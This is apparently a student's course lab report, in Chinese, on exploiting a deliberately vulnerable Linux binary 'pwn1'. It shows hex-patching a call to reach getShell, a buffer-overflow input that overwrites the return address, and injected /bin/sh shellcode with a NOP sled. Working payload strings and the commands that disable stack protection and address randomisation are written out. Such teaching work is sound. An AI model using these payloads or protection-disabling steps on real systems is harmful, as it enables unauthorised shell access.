Exp 1 PC平台逆向破解 实验报告

一、实验说明

1.对象:名为“pwn1”的linux可执行文件。

           (该程序正常执行流程是main调用foo函数,foo函数会简单回显任何用户输入的字符串)

2.目标:想办法运行该程序中的代码片段,getShell,返回一个可用Shell

3.实践内容如下

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发    getShell 函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

4.思路:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

5.所需基础知识:

    •  熟悉Linux基本操作
      • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
    •  理解Bof的原理
      • 能看得懂汇编、机器指令、EIP、指令地址。
    • 会使用gdb,vi。
    • 指令、参数

 

二、具体操作

(一)直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术

1.下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。

 

(1)先看main函数的第4行,"call 8048491 "是汇编指令,是说这条指令将调用位于地址8048491处的foo函数;其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

     ( 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如解释e8这条指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。)

(2)main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为另外一个值,使得EIP存的值80484ba与d7ffffff修改后的值和为函数getShell的内存地址804847d。用 Windows计算器,直接804847d-80484ba就能得到补码,是c3ffffff。

  (3)故将“d7 ff ff ff”改为“c3 ff ff ff”,就可以使CPU在解释e8的时候,跳转到地址804847d处的getShell函数。80484ba+c3ffffff=804847d

2.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

 (1)输入 cp pwn1 pwn2 ,对pwn1文件进行备份,然后输入 vi pwn2 对pwn2进行修改。结果如下图所示。

(2)输入 :%!xxd ,将显示模式切换为16进制。结果如下图所示。

(3)输入 /d7 ,查找要修改的内容。查找到d7比较多,结合反汇编可确认应该是下图所示地方是正确的。

(4)修改d7为c3。结果如下图。

(5)输入 :%!xxd -r ,转换16进制为原格式。结果如下图所示。(此步骤容易遗漏)

(6)输入 :wq ,存盘退出vi。

3.输入 objdump -d pwn2 | more ,查看是否修改成功结果如下图。

4.输入./pwn2,检查是否能成功运行。结果如下图,确实能成功运行一个shell。

 

(二)通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术

1 .反汇编,了解程序的基本功能

        输入  objdump -d pwn1 | more ,查看反汇编结果,并分析漏洞所在。

(1)注意这个函数getShell,我们的目标是触发这个函数

(2)该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞。在此函数中,会读入字 符串,但系统只预留了28(0x1c转换为10进制为28)字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 。

(3)main函数中,call调用foo时,会执行push EIP的操作,在堆栈上压上返回地址值80484ba。

2.确认输入字符串哪几个字符会覆盖到返回地址

(1)用 gdb pwn3 调试程序(pwn3为pwn1的复制,用于进行操作修改),输入有规律的字符串如 1111111122222222333333334444444455555555 ,发生错误产生溢出。使用 info r 查看寄存器eip的值,发现输入的5555被覆盖到堆栈上的返回地址(字符5的ASCII值为00110101,转换成十六进制就为35)。

(2)如果输入字符串 1111111122222222333333334444444412345678 ,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

        接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

3. 确认用什么值来覆盖返回地址

       由上分析的需把33-36这四位改为getshell的内存地址0x0804847d,又因为是小端优先,所以构造的字符串应为为11111111222222223333333344444444\x7d\x84\x04\x08。

4.构造输入字符串

(1)由于无法直接将此字符串输入,因而先用Perl命令生成字符串文件。

       输入命令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' >input  ,并且使用  xxd input  验证字符串文件内容。

(2)输入命令  (cat input; cat) | ./pwn3 ,此命令意为将input文件作为pwn3的输入。

(3)检查结果,发现除了没有“$”符号外,运行正常。

 

(三)注入Shellcode并执行

      1.准备一段Shellcode

  • shellcode就是一段机器指令(code)
  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的 cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

2. 准备工作

    修改些设置。(pwn4为pwn1的复制版,用于操作)

# execstack -s pwn4    //设置堆栈可执行

# execstack -q pwn4    //查询文件的堆栈是否可执行

X pwn4

# more /proc/sys/kernel/randomize_va_space

2

# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

# more /proc/sys/kernel/randomize_va_space

0

3.构造要注入的payload

  •  Linux下有两种基本构造攻击buf的方法:
    •   retaddr+nop+shellcode
    •   nop+shellcode+retaddr
  •   因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
  •   简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
  •   我们这个buf够放这个shellcode了
  •   结构为:nops+shellcode+retaddr。
    •  nop一为是了填充,二是作为“着陆区/滑行区”。
    •   我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

输入已经准备好的 shellcode:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode  上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。 特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

(1)确定\x4\x3\x2\x1到底该填什么

打开一个终端注入这段攻击buf: (cat input_shellcode;cat) | ./pwn4 

再开另外一个终端,输入命令 ps -ef | grep pwn4 找到pwn4的进程号:(进程号为1777)

 

用 gdb 来调试pwn4这个进程:

 

输入  break *0x080484ae  设置断点,来查看注入buf的内存地址:

        注意:断点的设置要在ret以前,因为ret会执行pop EIP的操作,ret完,就跳到我们覆盖的retaddr那个地方了。

进行完这一步之后,在另一个终端(之前的那个终端)中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

输入命令c,意为continue:

 输入  info r esp  ,查看esp寄存器的地址为0xffffd32c:

 

输入  x/16x 0xffffd32c ,再往前找:

       看到 01020304了,返回地址的位置。shellcode就挨着,所以地址是 0xffffd330。

(2)注入payload

输入 perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode  :

输入 xxd input_shellcode ,查看文件内容:(41为A的ASCII)

 

然后输入  (cat input_shellcode;cat) | ./pwn4  运行,此时便可以进执行机器指令了:

 

三、实验总结

1.实验感想

        总体感觉,本次实验不算难。好好看视频,听课,按照步骤慢慢做,是可以做出来的。本次实验的重点,在于理解原理,知识点包括函数调用在堆栈上是怎样体现的,shellcode怎样构成等等,个人认为还是挺考验基础知识的。第一遍看视频的时候,总觉得有点难理解,吸收不到知识,于是在第二天的时候再次观看视频,感觉容易理解多了,也巩固了课堂所学知识。

2.错误总结

       总体实验流程还是很流畅的,遇到了几个问题。

(1)刚开始的时候,没有用cd进入文件所在之处,报错说找不到文件,经他人提醒才知道;

(2)使用gdb的时候,发现未安装gdb,输入sudo apt-get install gdb 安装gdb工具,报错找不到软件源,通过输入命令# apt-get update、# apt-get upgrade、# apt-get install gdb,成功安装;

(3)通过第三种方式实验时,输入指令 (cat input_shellcode;cat) | ./pwn4 ,因为没有显示就再按一次回车,然后发现无法找到进程号,通过他人博客才知道多按一次回车会使程序执行结束;

(4)通过第三种方式进行实验时,输入命令echo "0" > /proc/sys/kernel/randomize_va_space 用于关闭地址随机化,报错“bash: /proc/sys/kernel/randomize_va_space: permission denied”,我在前面加sudo,输入sudo echo 0 > /proc/sys/kernel/randomize_va_space,报同样的错误,因为sudo命令不支持重定向,最后通过输入sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space,解决问题;

四、思考题

       什么是漏洞?漏洞有什么危害?

答: 漏洞是程序设计不完善的地方,是在安全上存在的缺陷。比如此实验中由于预留位置不够,当输入更多数据时,会造成缓冲区攻击。

        这个缺陷可能被不法分子利用,从而达到窃取他人电脑上信息甚至控制他人电脑的目的。无论对国家、企业,还是个人,利益都可能受到损害。比如国家秘密的泄露,企业或个人信息被窃取。

 

posted @ 2020-03-15 21:57  zhaiying0000  阅读(204)  评论(0编辑  收藏  举报